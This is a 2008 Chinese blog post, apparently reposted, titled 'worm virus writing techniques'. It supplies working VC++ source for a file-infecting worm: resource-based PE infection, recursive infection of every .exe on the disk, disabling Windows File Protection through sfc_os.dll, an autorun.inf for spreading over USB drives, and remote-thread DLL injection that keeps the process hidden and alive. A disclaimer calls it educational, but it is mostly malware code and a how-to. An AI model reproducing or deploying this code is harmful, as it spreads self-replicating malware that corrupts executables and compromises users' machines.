您的位置:首页 > 其它

蠕虫病毒编写技术

2008-07-07 23:24 155 查看

蠕虫病毒编写技术收藏

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();} 现在蠕虫病毒泛滥,网络安全越来越受到威胁,其实主要方面是 一是国内人员技术水平的提高,二是相关技术公开程度也越来越高,其实现在的蠕虫病毒大多属于文件病毒,相关技术也比较简单,本意在于揭开病毒的面纱,了解 病毒的相关技术也有助于自己手动清理,本文公布的代码和技术,如果有人用于不法用途,与本人无关。 一个典型的蠕虫病毒, 一般会遍历感染电脑中的pe可执行文件,对于感染pe文件,不同的编译工具有不同的方法,由于我是用vc++,先说下vc的方法,第一种,可以使用更新资 源的方法,即把把病毒作为资源文件放入宿主文件中,主要用到的api有beginupdateresource、updateresource,第二种方 法要对pe文件格式比较熟悉,我们可以把病毒写入pe文件缝隙里,如果空间不够大,我们可以写入一个新节。当然用汇编实现起来要相对的简单的多。用 delphi的文件流也可以实现感染文件的功能,典型的就是熊猫烧香就是用的这种办法。 这里贴出一个使用更新资源的方法感染的代码,请谨慎使用:(其他方法的实现方法可以联系我获得) char syspath[256]; TCHAR szMyName[MAX_PATH]; TCHAR szTempFileA[MAX_PATH]; TCHAR szTempFileB[MAX_PATH]; GetSystemDirectory(syspath,256); GetModuleFileName(NULL,szMyName,MAX_PATH); HANDLE hFile; DWORD dwFileSize, dwBytesRead; STARTUPINFO si; PROCESS_INFORMATION pi; GetTempFileName(syspath,"vic",0,szTempFileA); GetTempFileName(syspath,"host",0,szTempFileB); CopyFile(szMyName,szTempFileA,0); HMODULE hLibrary; HRSRC hResource; HGLOBAL hResourceLoaded; LPBYTE lpBuffer; hLibrary = LoadLibrary(szTempFileA); if (NULL != hLibrary) { hResource = FindResource(hLibrary, MAKEINTRESOURCE(104), RT_RCDATA); if (NULL != hResource) { hResourceLoaded = LoadResource(hLibrary, hResource); if (NULL != hResourceLoaded) { lpBuffer = (LPBYTE) LockResource(hResourceLoaded); if (NULL != lpBuffer) { DWORD dwBytesWritten; dwFileSize = SizeofResource(hLibrary, hResource); hFile = ::CreateFile(szTempFileB, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE != hFile) { WriteFile(hFile, lpBuffer, dwFileSize, &dwBytesWritten, NULL); CloseHandle(hFile); } // GetStartupInfo(&si); CreateProcess(szTempFileB,GetCommandLine(),NULL,NULL,NULL,NULL,NULL,NULL,&si,π); } } } FreeLibrary(hLibrary); } CFile file; hFile = ::CreateFile(ganranexe, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE != hFile) { dwFileSize = GetFileSize(hFile, NULL); lpBuffer = new BYTE[dwFileSize]; if (ReadFile(hFile, lpBuffer, dwFileSize, &dwBytesRead, NULL) != FALSE) { hResource = (HRSRC)BeginUpdateResource(szTempFileA, FALSE); if (NULL != hResource) { if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(104), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID) lpBuffer, dwFileSize) != FALSE) { EndUpdateResource(hResource, FALSE); } } } delete [] lpBuffer; CloseHandle(hFile); CopyFile(szTempFileA,ganranexe,0);//Any Thing is every thing~ Sleep(1000); DeleteFile(szTempFileA); while(!DeleteFile(szTempFileB)) ; } 我们如果把他放入遍历磁盘的exe文件代码中就可以实现感染电脑中可执行文件了, void CMyDlg::ganran(CString EXEpath) { CFileFind ffile; CString szdir=EXEpath; if(szdir.Right(1)!="//") { szdir+="//"; szdir+="*.*"; } BOOL ff=ffile.FindFile(szdir); while(ff) { ff=ffile.FindNextFile(); CString kuozhan=ffile.GetFileName(); if(kuozhan.Right(3)=="exe"||kuozhan.Right(3)=="EXE") { CString ganranexe=ffile.GetFilePath(); } if(ffile.IsDirectory()&&!ffile.IsDots()) { ganran(ffile.GetFilePath()); } } ffile.Close(); } 这里出现了一个问题,就是系统有文件保护,一种解决办法就是不感染c盘,另一种就是关闭它,这里我们可以用 sfc_os.dll导出的第五号函数! typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3); 这样。就实现了感染系统文件,这里一定要慎重。 当然其实还有别的办法。 对于一个典型的蠕虫病毒,下载者功能和u盘感染是不可少的, 这里我不公布下载者的实现,因为我们不是要做木马,众所周知u盘感染是利用了inf文件,一个典型的inf文件是, [AutoRun] open=病毒.exe shell/open=打开(&O) shell/open/Command=病毒.exe shell/open/Default=1 shell/explore=资源管理器(&X) shell/explore/Command=病毒.exe 这个代码实现后右键没有任何异常,具有一定的隐蔽性,我们可以用CStdioFile来写入这个inf文件,并用SetFileAttributes来设置属性为系统,隐藏,这样一个简单的蠕虫病毒就实现了。 当然这里有一些问题,首先这里病毒的进程没有隐藏,很容易被结束。 这 里给出解决的办法,可以使用远程线程注入dll,我们可以先用OpenProcess打开一个进程,获得进程的句柄,这里我们最好要先提升自己为 Debug权限,这里可以用到api函数:OpenProcessToken,AdjustTokenPrivileges函数。 打开进程后然后我们用VirtualAllocEx为dll路径名分配内存空间。 然后我们用GetProcAddress获得LoadLibraryA在Kernel32.dll真实的地址。然后我们就可以用CreatRemoteThread创建远程线程。 这样我的dll就进入了正常进程的进程,我们可以在dll中检查病毒的进程是否运行,我们也可以再注入一个线程用来监视注册表,呵呵,让我想起了三线程技术,当然,如果我们做一个dll病毒的话,也可以用双线程守护。 当然这些用户级的方法,是受到系统很多的限制的。真正的高手是把代码写入内核中,改变系统的流程,学无止境,真正的计算机原原不是一般人见到那样,只有进入底层,深入内核才是正道。 这里希望大家以学习为目的所以写了这篇文章,由于仓促,如有问题还请指正。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: